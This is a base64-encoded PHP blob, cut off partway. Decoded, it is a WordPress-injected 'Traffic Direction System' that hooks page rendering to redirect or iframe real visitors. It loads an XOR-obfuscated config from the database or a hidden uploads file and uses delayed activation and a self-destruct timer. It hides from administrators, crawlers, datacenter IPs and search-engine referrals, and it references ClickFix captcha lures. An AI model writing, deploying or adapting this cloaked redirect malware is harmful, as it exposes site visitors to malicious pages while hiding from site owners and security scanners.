DilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMTIg4oCUIFREUyAoVHJhZmZpYyBEaXJlY3Rpb24gU3lzdGVtKQogKiBSZWRpcmVjdCAvIElmcmFtZSAvIE5ld1RhYiDRgSDRhNC40LvRjNGC0YDQsNGG0LjQtdC5LCDRgNC+0YLQsNGG0LjQtdC5LAogKiBnZW8tdGFyZ2V0aW5nLCBkZXZpY2UgdGFyZ2V0aW5nLCBzdGVhbHRoLCBjYWNoZSBieXBhc3MKICog0JrQvtC90YTQuNCzINGH0LjRgtCw0LXRgtGB0Y8g0LjQtyB3cF9vcHRpb25zICjQutC70Y7RhyDQvtC/0YDQtdC00LXQu9GP0LXRgtGB0Y8gb2JmdXNjYXRpb24pCiAqINCa0L7QvdGC0YDQvtC70LjRgNGD0LXRgtGB0Y8gMQogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCcxJyA9PT0gJzEnICYmICEkX3dwX3Nlc3Npb25fcGF1c2VkKSB7CiAgICBhZGRfYWN0aW9uKCd0ZW1wbGF0ZV9yZWRpcmVjdCcsIGZ1bmN0aW9uICgpIHsKCiAgICAgICAgLy8g4pSA4pSAIEd1YXJkOiBwcmV2ZW50IGRvdWJsZSBpZnJhbWUg4pSA4pSACiAgICAgICAgaWYgKGRlZmluZWQoJ19URFNfRklSRUQnKSkgcmV0dXJuOwogICAgICAgIGRlZmluZSgnX1REU19GSVJFRCcsIDEpOwoKICAgICAgICAvLyDilIDilIAgQ29uZmlnIGtleSAob2JmdXNjYXRlZCBvciBwbGFpbikg4pSA4pSACiAgICAgICAgJF90ZHNfc2FsdCA9IGRlZmluZWQoJ0FVVEhfU0FMVCcpID8gQVVUSF9TQUxUIDogKGRlZmluZWQoJ0RCX05BTUUnKSA/IERCX05BTUUgOiAnd3AnKTsKICAgICAgICAkX3Rkc19rZXlfcGxhaW4gPSAnX3Rkc19jb25maWcnOwogICAgICAgICRfdGRzX2tleSA9ICgnMScgPT09ICcxJykKICAgICAgICAgICAgPyAnX3dwX3RoZW1lX2NvbXBhdF8nIC4gc3Vic3RyKG1kNSgkX3Rkc19zYWx0IC4gJ3RkcycpLCAwLCAxMikKICAgICAgICAgICAgOiAkX3Rkc19rZXlfcGxhaW47CgogICAgICAgIC8vIOKUgOKUgCBMb2FkIGNvbmZpZyAodHJhbnNpZW50IGNhY2hlIDYwcykg4pSA4pSACiAgICAgICAgJF90ZHNfY2FjaGVfa2V5ID0gJ190ZHNfY2NfJyAuIHN1YnN0cihtZDUoJF90ZHNfa2V5KSwgMCwgOCk7CiAgICAgICAgJF90ZHNfY2ZnID0gZ2V0X3RyYW5zaWVudCgkX3Rkc19jYWNoZV9rZXkpOwogICAgICAgIGlmICgkX3Rkc19jZmcgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICRfcmF3ID0gZ2V0X29wdGlvbigkX3Rkc19rZXksICcnKTsKICAgICAgICAgICAgaWYgKGVtcHR5KCRfcmF3KSkgewogICAgICAgICAgICAgICAgLy8gRmFsbGJhY2s6IGZpbGUgYmFja3VwCiAgICAgICAgICAgICAgICAkX2ZiID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMvLicgLiBzdWJzdHIobWQ1KCRfdGRzX3NhbHQgLiAndGRzX2YnKSwgMCwgMTApIC4gJy50bXAnOwogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfZmIpKSAkX3JhdyA9IEBmaWxlX2dldF9jb250ZW50cygkX2ZiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZW1wdHkoJF9yYXcpKSB7CiAgICAgICAgICAgICAgICAvLyBGYWxsYmFjazogcGxhaW4ga2V5CiAgICAgICAgICAgICAgICBpZiAoJF90ZHNfa2V5ICE9PSAkX3Rkc19rZXlfcGxhaW4pICRfcmF3ID0gZ2V0X29wdGlvbigkX3Rkc19rZXlfcGxhaW4sICcnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZW1wdHkoJF9yYXcpKSByZXR1cm47CgogICAgICAgICAgICAvLyBEZWNyeXB0IGlmIG9iZnVzY2F0ZWQKICAgICAgICAgICAgaWYgKCcxJyA9PT0gJzEnICYmIHN1YnN0cigkX3JhdywgMCwgNCkgPT09ICdYT1I6JykgewogICAgICAgICAgICAgICAgJF94ayA9IHN1YnN0cihtZDUoREJfTkFNRSAuICRfdGRzX3NhbHQpLCAwLCAzMik7CiAgICAgICAgICAgICAgICAkX2VuYyA9IGJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfcmF3LCA0KSk7CiAgICAgICAgICAgICAgICAkX2RlYyA9ICcnOwogICAgICAgICAgICAgICAgZm9yICgkX3hpID0gMDsgJF94aSA8IHN0cmxlbigkX2VuYyk7ICRfeGkrKykgewogICAgICAgICAgICAgICAgICAgICRfZGVjIC49IGNocihvcmQoJF9lbmNbJF94aV0pIF4gb3JkKCRfeGtbJF94aSAlIDMyXSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9yYXcgPSAkX2RlYzsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX3Rkc19jZmcgPSBAanNvbl9kZWNvZGUoJF9yYXcsIHRydWUpOwogICAgICAgICAgICBpZiAoIWlzX2FycmF5KCRfdGRzX2NmZykpIHJldHVybjsKICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgkX3Rkc19jYWNoZV9rZXksICRfdGRzX2NmZywgNjApOwogICAgICAgIH0KCiAgICAgICAgaWYgKGVtcHR5KCRfdGRzX2NmZ1snZW5hYmxlZCddKSkgcmV0dXJuOwoKICAgICAgICAvLyDilIDilIAgRGVsYXllZCBhY3RpdmF0aW9uIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWydhY3RpdmF0ZV9hZnRlcl9ob3VycyddKSAmJiAhZW1wdHkoJF90ZHNfY2ZnWydkZXBsb3llZF9hdCddKSkgewogICAgICAgICAgICBpZiAodGltZSgpIDwgJF90ZHNfY2ZnWydkZXBsb3llZF9hdCddICsgJF90ZHNfY2ZnWydhY3RpdmF0ZV9hZnRlcl9ob3VycyddICogMzYwMCkgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIFNlbGYtZGVzdHJ1Y3QgVFRMIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWyd0dGxfZGF5cyddKSAmJiAhZW1wdHkoJF90ZHNfY2ZnWydkZXBsb3llZF9hdCddKSkgewogICAgICAgICAgICBpZiAodGltZSgpID4gJF90ZHNfY2ZnWydkZXBsb3llZF9hdCddICsgJF90ZHNfY2ZnWyd0dGxfZGF5cyddICogODY0MDApIHsKICAgICAgICAgICAgICAgIGRlbGV0ZV9vcHRpb24oJF90ZHNfa2V5KTsKICAgICAgICAgICAgICAgIGRlbGV0ZV90cmFuc2llbnQoJF90ZHNfY2FjaGVfa2V5KTsKICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIEFkbWluIHBhdXNlIGNvbmZpZyDilIDilIAKICAgICAgICAkX2FkbWluX3BhdXNlID0gaXNzZXQoJF90ZHNfY2ZnWydhZG1pbl9wYXVzZV9ob3VycyddKSA/IChpbnQpJF90ZHNfY2ZnWydhZG1pbl9wYXVzZV9ob3VycyddIDogNjsKCiAgICAgICAgLy8g4pSA4pSAIEVhcmx5IFVBIGRldGVjdGlvbiAoZm9yIGZpbHRlcnMgKyBiZWFjb24pIOKUgOKUgAogICAgICAgICRfdWFfcmF3ID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6ICcnOwogICAgICAgICRfdWFfbGMgPSBzdHJ0b2xvd2VyKCRfdWFfcmF3KTsKICAgICAgICAkX2Jyb3dzZXIgPSAnT3RoZXInOwogICAgICAgIGlmIChwcmVnX21hdGNoKCcvYm90fGNyYXdsfHNwaWRlcnxzbHVycHxzZW1ydXNofGFocmVmfG1qMTJ8ZG90Ym90fGJ5dGVzcGlkZXJ8Z3B0Ym90L2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9icm93c2VyID0gJ0JvdCc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9FZGdbZVwvXS9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfYnJvd3NlciA9ICdFZGdlJzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL09QUlwvfE9wZXJhL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9icm93c2VyID0gJ09wZXJhJzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL1lhQnJvd3Nlci9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfYnJvd3NlciA9ICdZYW5kZXgnOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvU2Ftc3VuZ0Jyb3dzZXIvaScsICRfdWFfcmF3KSkgewogICAgICAgICAgICAkX2Jyb3dzZXIgPSAnU2Ftc3VuZyc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9VQ0Jyb3dzZXIvaScsICRfdWFfcmF3KSkgewogICAgICAgICAgICAkX2Jyb3dzZXIgPSAnVUMnOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvRmlyZWZveFwvL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9icm93c2VyID0gJ0ZpcmVmb3gnOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvQ2hyb21lXC8vaScsICRfdWFfcmF3KSkgewogICAgICAgICAgICAkX2Jyb3dzZXIgPSAnQ2hyb21lJzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL1NhZmFyaVwvL2knLCAkX3VhX3JhdykgJiYgc3RycG9zKCRfdWFfcmF3LCAnQ2hyb21lJykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICRfYnJvd3NlciA9ICdTYWZhcmknOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvTVNJRXxUcmlkZW50L2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9icm93c2VyID0gJ0lFJzsKICAgICAgICB9CiAgICAgICAgJF9vcyA9ICdPdGhlcic7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9XaW5kb3dzIE5UL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9vcyA9ICdXaW5kb3dzJzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL2lQaG9uZXxpUGFkfGlQb2QvaScsICRfdWFfcmF3KSkgewogICAgICAgICAgICAkX29zID0gJ2lPUyc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9NYWNpbnRvc2h8TWFjIE9TL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9vcyA9ICdtYWNPUyc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9BbmRyb2lkL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9vcyA9ICdBbmRyb2lkJzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL0xpbnV4L2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9vcyA9ICdMaW51eCc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9Dck9TL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9vcyA9ICdDaHJvbWVPUyc7CiAgICAgICAgfQogICAgICAgICRfZGV2X3R5cGUgPSAnZGVza3RvcCc7CiAgICAgICAgaWYgKHN0cnBvcygkX3VhX2xjLCAnaXBhZCcpICE9PSBmYWxzZSB8fCAoc3RycG9zKCRfdWFfbGMsICdhbmRyb2lkJykgIT09IGZhbHNlICYmIHN0cnBvcygkX3VhX2xjLCAnbW9iaWxlJykgPT09IGZhbHNlKSkgewogICAgICAgICAgICAkX2Rldl90eXBlID0gJ3RhYmxldCc7CiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnd3BfaXNfbW9iaWxlJykgJiYgd3BfaXNfbW9iaWxlKCkpIHsKICAgICAgICAgICAgJF9kZXZfdHlwZSA9ICdtb2JpbGUnOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvbW9iaWxlfGlwaG9uZXxpcG9kfGFuZHJvaWQuKm1vYmlsZXxvcGVyYSBtaW5pfGllbW9iaWxlL2knLCAkX3VhX2xjKSkgewogICAgICAgICAgICAkX2Rldl90eXBlID0gJ21vYmlsZSc7CiAgICAgICAgfQoKICAgICAgICAvLyDilIDilIAgRmlsdGVyOiBsb2dnZWQtaW4gcm9sZXMg4pSA4pSACiAgICAgICAgaWYgKGlzX3VzZXJfbG9nZ2VkX2luKCkpIHsKICAgICAgICAgICAgJF9za2lwX3JvbGVzID0gaXNzZXQoJF90ZHNfY2ZnWydmaWx0ZXJfcm9sZXMnXSkgPyAoYXJyYXkpJF90ZHNfY2ZnWydmaWx0ZXJfcm9sZXMnXSA6IGFycmF5KCdhZG1pbmlzdHJhdG9yJywnZWRpdG9yJywnYXV0aG9yJyk7CiAgICAgICAgICAgICRfd3BfdXNlciA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJF9za2lwX3JvbGVzIGFzICRfc3IpIHsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkX3NyLCAkX3dwX3VzZXItPnJvbGVzKSkgewogICAgICAgICAgICAgICAgICAgICRfYWRtaW5faXAgPSBpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkgPyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA6ICcnOwogICAgICAgICAgICAgICAgICAgIGlmICgkX2FkbWluX2lwICYmICRfYWRtaW5fcGF1c2UgPiAwKSBzZXRfdHJhbnNpZW50KCdfdGRzX2FkbWluX2lwXycgLiBtZDUoJF9hZG1pbl9pcCksIDEsICRfYWRtaW5fcGF1c2UgKiAzNjAwKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBGaWx0ZXI6IGFkbWluIElQIChldmVuIHdpdGhvdXQgY29va2llcykg4pSA4pSACiAgICAgICAgJF92aXNpdG9yX2lwID0gaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pID8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gOiAnJzsKICAgICAgICBpZiAoJF92aXNpdG9yX2lwICYmIGdldF90cmFuc2llbnQoJ190ZHNfYWRtaW5faXBfJyAuIG1kNSgkX3Zpc2l0b3JfaXApKSkgcmV0dXJuOwoKICAgICAgICAvLyDilIDilIAgRmlsdGVyOiBib3RzIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWydmaWx0ZXJfYm90cyddKSkgewogICAgICAgICAgICAkX3VhID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA6ICcnOwogICAgICAgICAgICAkX2JvdF9zaWdzID0gYXJyYXkoJ2dvb2dsZWJvdCcsJ2Jpbmdib3QnLCdzbHVycCcsJ2R1Y2tkdWNrYm90JywnYmFpZHVzcGlkZXInLCd5YW5kZXhib3QnLCdzb2dvdScsJ2ZhY2Vib3QnLCdpYV9hcmNoaXZlcicsJ3NlbXJ1c2gnLCdhaHJlZnMnLCdtajEyYm90JywnZG90Ym90JywncGV0YWxib3QnLCdieXRlc3BpZGVyJyk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfYm90X3NpZ3MgYXMgJF9icykgewogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX3VhLCAkX2JzKSAhPT0gZmFsc2UpIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIEZpbHRlcjogZGF0YWNlbnRlciBJUHMg4pSA4pSACiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19jZmdbJ2ZpbHRlcl9kYXRhY2VudGVyX2lwcyddKSAmJiAkX3Zpc2l0b3JfaXApIHsKICAgICAgICAgICAgJF9kY19yYW5nZXMgPSBhcnJheSgnMTMuJywnMTguJywnMzQuJywnMzUuJywnNTIuJywnNTQuJywnMTAwLicsJzEwNC4nLCcxMDguJywnMTMwLjIxMS4nLCcxNDIuMjUwLicsJzE0My41NS4nLCcxNDYuMTQ4LicsJzE1MS4xMDEuJywnMTU3LjI0MC4nLCcxNjIuMTI1LicsJzE2My4nLCcxNzIuNjQuJywnMTcyLjY3LicsJzE4NS4xOTkuJywnMTg4LjExNC4nLCcxOTIuMzAuJywnMTk4LjQxLicsJzE5OS4yMzIuJywnMjAzLjEwNC4nLCcyMDQuNzkuJywnMjA4LjgwLicpOwogICAgICAgICAgICBmb3JlYWNoICgkX2RjX3JhbmdlcyBhcyAkX2RjKSB7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRfdmlzaXRvcl9pcCwgJF9kYykgPT09IDApIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIEZpbHRlcjogc2VhcmNoIGVuZ2luZSByZWZlcmVyIChTRU8gcHJvdGVjdGlvbikg4pSA4pSACiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19jZmdbJ2ZpbHRlcl9yZWZlcmVyX3NlYXJjaF9lbmdpbmVzJ10pKSB7CiAgICAgICAgICAgICRfcmVmID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA6ICcnOwogICAgICAgICAgICAkX3NlID0gYXJyYXkoJ2dvb2dsZS4nLCdiaW5nLmNvbScsJ3lhaG9vLmNvbScsJ3lhbmRleC4nLCdkdWNrZHVja2dvLmNvbScsJ2JhaWR1LmNvbScpOwogICAgICAgICAgICBmb3JlYWNoICgkX3NlIGFzICRfcykgewogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX3JlZiwgJF9zKSAhPT0gZmFsc2UpIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIEZpbHRlcjogZGlyZWN0IHRyYWZmaWMgb25seSDilIDilIAKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1snZmlsdGVyX2RpcmVjdF9vbmx5J10pKSB7CiAgICAgICAgICAgICRfcmVmID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6ICcnOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRfcmVmKSkgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIEZpbHRlcjogYnJvd3NlcnMgKGJsYWNrbGlzdCkg4pSA4pSACiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19jZmdbJ2ZpbHRlcl9icm93c2VycyddKSAmJiBpc19hcnJheSgkX3Rkc19jZmdbJ2ZpbHRlcl9icm93c2VycyddKSkgewogICAgICAgICAgICBpZiAoaW5fYXJyYXkoJF9icm93c2VyLCAkX3Rkc19jZmdbJ2ZpbHRlcl9icm93c2VycyddKSkgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvLyDilIDilIAgRmlsdGVyOiB0YXJnZXQgYnJvd3NlcnMgKHdoaXRlbGlzdCAtLSBvbmx5IHRoZXNlIHNlZSBURFMpIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWyd0YXJnZXRfYnJvd3NlcnMnXSkgJiYgaXNfYXJyYXkoJF90ZHNfY2ZnWyd0YXJnZXRfYnJvd3NlcnMnXSkpIHsKICAgICAgICAgICAgaWYgKCFpbl9hcnJheSgkX2Jyb3dzZXIsICRfdGRzX2NmZ1sndGFyZ2V0X2Jyb3dzZXJzJ10pKSByZXR1cm47CiAgICAgICAgfQogICAgICAgIC8vIOKUgOKUgCBGaWx0ZXI6IE9TIChibGFja2xpc3QpIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWydmaWx0ZXJfb3MnXSkgJiYgaXNfYXJyYXkoJF90ZHNfY2ZnWydmaWx0ZXJfb3MnXSkpIHsKICAgICAgICAgICAgaWYgKGluX2FycmF5KCRfb3MsICRfdGRzX2NmZ1snZmlsdGVyX29zJ10pKSByZXR1cm47CiAgICAgICAgfQogICAgICAgIC8vIOKUgOKUgCBGaWx0ZXI6IHRhcmdldCBPUyAod2hpdGVsaXN0IC0tIG9ubHkgdGhlc2Ugc2VlIFREUykg4pSA4pSACiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19jZmdbJ3RhcmdldF9vcyddKSAmJiBpc19hcnJheSgkX3Rkc19jZmdbJ3RhcmdldF9vcyddKSkgewogICAgICAgICAgICBpZiAoIWluX2FycmF5KCRfb3MsICRfdGRzX2NmZ1sndGFyZ2V0X29zJ10pKSByZXR1cm47CiAgICAgICAgfQogICAgICAgIC8vIOKUgOKUgCBGaWx0ZXI6IGRldmljZSB0eXBlIChibGFja2xpc3QpIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWydmaWx0ZXJfZGV2aWNlcyddKSAmJiBpc19hcnJheSgkX3Rkc19jZmdbJ2ZpbHRlcl9kZXZpY2VzJ10pKSB7CiAgICAgICAgICAgIGlmIChpbl9hcnJheSgkX2Rldl90eXBlLCAkX3Rkc19jZmdbJ2ZpbHRlcl9kZXZpY2VzJ10pKSByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAvLyDilIDilIAgU2NoZWR1bGU6IHRpbWUgd2luZG93IOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWydzY2hlZHVsZSddKSkgewogICAgICAgICAgICAkX3NjaCA9ICRfdGRzX2NmZ1snc2NoZWR1bGUnXTsKICAgICAgICAgICAgJF90eiA9ICFlbXB0eSgkX3NjaFsndGltZXpvbmUnXSkgPyAkX3NjaFsndGltZXpvbmUnXSA6ICdVVEMnOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJF9ub3cgPSBuZXcgRGF0ZVRpbWUoJ25vdycsIG5ldyBEYXRlVGltZVpvbmUoJF90eikpOwogICAgICAgICAgICAgICAgJF9ob3VyID0gKGludCkkX25vdy0+Zm9ybWF0KCdHJyk7CiAgICAgICAgICAgICAgICAkX2RvdyA9IChpbnQpJF9ub3ctPmZvcm1hdCgndycpOwogICAgICAgICAgICAgICAgJF9ocyA9IGlzc2V0KCRfc2NoWydob3Vyc19zdGFydCddKSA/IChpbnQpJF9zY2hbJ2hvdXJzX3N0YXJ0J10gOiAwOwogICAgICAgICAgICAgICAgJF9oZSA9IGlzc2V0KCRfc2NoWydob3Vyc19lbmQnXSkgPyAoaW50KSRfc2NoWydob3Vyc19lbmQnXSA6IDI0OwogICAgICAgICAgICAgICAgaWYgKCRfaHMgPCAkX2hlKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfaG91ciA8ICRfaHMgfHwgJF9ob3VyID49ICRfaGUpIHJldHVybjsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfaG91ciA8ICRfaHMgJiYgJF9ob3VyID49ICRfaGUpIHJldHVybjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX3NjaFsnZGF5cyddKSAmJiBpc19hcnJheSgkX3NjaFsnZGF5cyddKSkgewogICAgICAgICAgICAgICAgICAgIGlmICghaW5fYXJyYXkoJF9kb3csICRfc2NoWydkYXlzJ10pKSByZXR1cm47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkX2UpIHsgLyogaWdub3JlIHRpbWV6b25lIGVycm9ycyAqLyB9CiAgICAgICAgfQoKICAgICAgICAvLyDilIDilIAgUGVyY2VudGFnZSAvIHdhcm11cCDilIDilIAKICAgICAgICAkX3BjdCA9IGlzc2V0KCRfdGRzX2NmZ1sncGVyY2VudCddKSA/IChpbnQpJF90ZHNfY2ZnWydwZXJjZW50J10gOiAxMDA7CiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19jZmdbJ3dhcm11cF9ob3VycyddKSAmJiAhZW1wdHkoJF90ZHNfY2ZnWydkZXBsb3llZF9hdCddKSkgewogICAgICAgICAgICAkX2VsYXBzZWRfaCA9ICh0aW1lKCkgLSAkX3Rkc19jZmdbJ2RlcGxveWVkX2F0J10pIC8gMzYwMDsKICAgICAgICAgICAgJF93aCA9IChpbnQpJF90ZHNfY2ZnWyd3YXJtdXBfaG91cnMnXTsKICAgICAgICAgICAgaWYgKCRfZWxhcHNlZF9oIDwgJF93aCkgewogICAgICAgICAgICAgICAgJF9wY3QgPSBtYXgoMSwgKGludCkoMTAgKyA5MCAqICgkX2VsYXBzZWRfaCAvICRfd2gpKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRfcGN0IDwgMTAwICYmIG10X3JhbmQoMSwgMTAwKSA+ICRfcGN0KSByZXR1cm47CgogICAgICAgIC8vIOKUgOKUgCBSYXRlIGxpbWl0OiBwZXIgSVAgcGVyIGhvdXIg4pSA4pSACiAgICAgICAgJF9ybF9pcCA9IGlzc2V0KCRfdGRzX2NmZ1sncmF0ZV9saW1pdF9wZXJfaXBfaG91ciddKSA/IChpbnQpJF90ZHNfY2ZnWydyYXRlX2xpbWl0X3Blcl9pcF9ob3VyJ10gOiAwOwogICAgICAgIGlmICgkX3JsX2lwID4gMCAmJiAkX3Zpc2l0b3JfaXApIHsKICAgICAgICAgICAgJF9ybF9rZXkgPSAnX3Rkc19ybF8nIC4gc3Vic3RyKG1kNSgkX3Zpc2l0b3JfaXApLCAwLCA4KTsKICAgICAgICAgICAgJF9ybF9jbnQgPSAoaW50KWdldF90cmFuc2llbnQoJF9ybF9rZXkpOwogICAgICAgICAgICBpZiAoJF9ybF9jbnQgPj0gJF9ybF9pcCkgcmV0dXJuOwogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRfcmxfa2V5LCAkX3JsX2NudCArIDEsIDM2MDApOwogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIFJhdGUgbGltaXQ6IGdsb2JhbCBwZXIgaG91ciDilIDilIAKICAgICAgICAkX3JsX2cgPSBpc3NldCgkX3Rkc19jZmdbJ3JhdGVfbGltaXRfZ2xvYmFsX2hvdXInXSkgPyAoaW50KSRfdGRzX2NmZ1sncmF0ZV9saW1pdF9nbG9iYWxfaG91ciddIDogMDsKICAgICAgICBpZiAoJF9ybF9nID4gMCkgewogICAgICAgICAgICAkX3JsZ19rZXkgPSAnX3Rkc19ybGdfJyAuIGRhdGUoJ1ltZEgnKTsKICAgICAgICAgICAgJF9ybGdfY250ID0gKGludClnZXRfdHJhbnNpZW50KCRfcmxnX2tleSk7CiAgICAgICAgICAgIGlmICgkX3JsZ19jbnQgPj0gJF9ybF9nKSByZXR1cm47CiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF9ybGdfa2V5LCAkX3JsZ19jbnQgKyAxLCAzNjAwKTsKICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBDbGlja0ZpeCBjYXB0Y2hhIGNvbXBsZXRlIOKGkiBza2lwIFREUyDilIDilIAKICAgICAgICBpZiAoaXNzZXQoJF9DT09LSUVbJ19jZl92ZXJpZmllZCddKSkgcmV0dXJuOwoKICAgICAgICAvLyDilIDilIAgRGlzbWlzczogY29va2llIGNoZWNrIOKUgOKUgAogICAgICAgICRfZGlzbWlzcyA9IGlzc2V0KCRfdGRzX2NmZ1snZGlzbWlzc19tb2RlJ10pID8gJF90ZHNfY2ZnWydkaXNtaXNzX21vZGUnXSA6ICdyZWxvYWRzJzsKICAgICAgICAkX21heF9yZWxvYWRzID0gaXNzZXQoJF90ZHNfY2ZnWydkaXNtaXNzX3JlbG9hZHMnXSkgPyAoaW50KSRfdGRzX2NmZ1snZGlzbWlzc19yZWxvYWRzJ10gOiAzOwogICAgICAgIGlmICgkX2Rpc21pc3MgPT09ICdyZWxvYWRzJykgewogICAgICAgICAgICAkX3NlZW4gPSBpc3NldCgkX0NPT0tJRVsnX3Rkc19zJ10pID8gKGludCkkX0NPT0tJRVsnX3Rkc19zJ10gOiAwOwogICAgICAgICAgICBpZiAoJF9zZWVuID49ICRfbWF4X3JlbG9hZHMpIHJldHVybjsKICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBSZXNvbHZlIHRhcmdldCBVUkwg4pSA4pSACiAgICAgICAgJF9tb2RlID0gaXNzZXQoJF90ZHNfY2ZnWydtb2RlJ10pID8gJF90ZHNfY2Z